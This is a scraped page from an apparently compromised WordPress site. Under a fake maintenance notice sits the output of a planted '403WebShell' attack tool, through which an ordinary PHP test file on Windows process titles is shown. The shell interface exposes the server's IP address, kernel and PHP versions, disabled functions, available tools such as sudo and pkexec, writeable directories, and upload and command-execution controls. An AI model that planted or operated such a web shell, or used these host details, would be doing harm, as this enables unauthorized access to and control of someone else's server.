WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/sapi/cli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/sapi/cli/tests/cli_process_title_windows.phpt
--TEST--
Check cli_process_title support in Windows
--SKIPIF--
<?php
if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN')
  die("skip this test is for Windows platforms only");
if (shell_exec('PowerShell -Help') === NULL)
  die("skip this test requires powershell.exe");
?>
--FILE--
<?php

// On Windows 8 and Server 2012, this test does not work the same way. When the PowerShell
// command "get-process" is executed using shell_exec, it overwrites the ConsoleTitle with
// "Windows PowerShell" and this title ONLY clears away when the php.exe process exits
// i.e. the test finishes.
// On older versions like Windows 7 though, running the command appends
// "Windows PowerShell" to the ConsoleTitle temporarily and the title reverts
// back to the original once shell_exec is done.
// Hence on Windows 8, we don't verify that the title is actually set by
// cli_set_process_title(). We're only making the API calls to ensure there are
// no warnings/errors.
$is_windows8_or_above = PHP_WINDOWS_VERSION_MAJOR >= 10 || PHP_WINDOWS_VERSION_MAJOR >= 6 && PHP_WINDOWS_VERSION_MINOR >= 2;

echo "*** Testing setting the process title ***\n";

$original_title = uniqid("title", true);
$pid = getmypid();

if (cli_set_process_title($original_title) === true)
  echo "Successfully set title\n";

if ($is_windows8_or_above)
{
  $loaded_title = $original_title;
}
else
{
  $loaded_title = shell_exec("PowerShell -NoProfile \"get-process cmd*,powershell* | Select-Object mainWindowTitle | ft -hide\"");

  if ($loaded_title === null)
  {
    echo "Reading title using get-process failed\n";
    die();
  }

  // Kind of convoluted. So when the test is run on Windows 7 or older, the console where
  // the run-tests.php is executed forks a php.exe, which forks a cmd.exe, which then forks
  // a final php.exe to run the actual test. But the console title is set for the original console.
  // I couldn't figure out a good way to navigate this, so we're "grep'ing" all possible
  // console windows for our very unique title. It should occur exactly once in the grep
  // output.
  if (substr_count($loaded_title, $original_title, 0) == 1)
    $loaded_title = $original_title;
}

if ($loaded_title == $original_title)
  echo "Successfully verified title using get-process\n";
else
  echo "Actually loaded from get-process: $loaded_title\n";

$read_title = cli_get_process_title();
if (substr_count($read_title, $original_title, 0) == 1)
  echo "Successfully verified title using get\n";
else
  echo "Actually loaded from get: $read_title\n";

?>
--EXPECTF--
*** Testing setting the process title ***
Successfully set title
Successfully verified title using get-process
Successfully verified title using get

Youez - 2016 - github.com/yon3zu
LinuXploit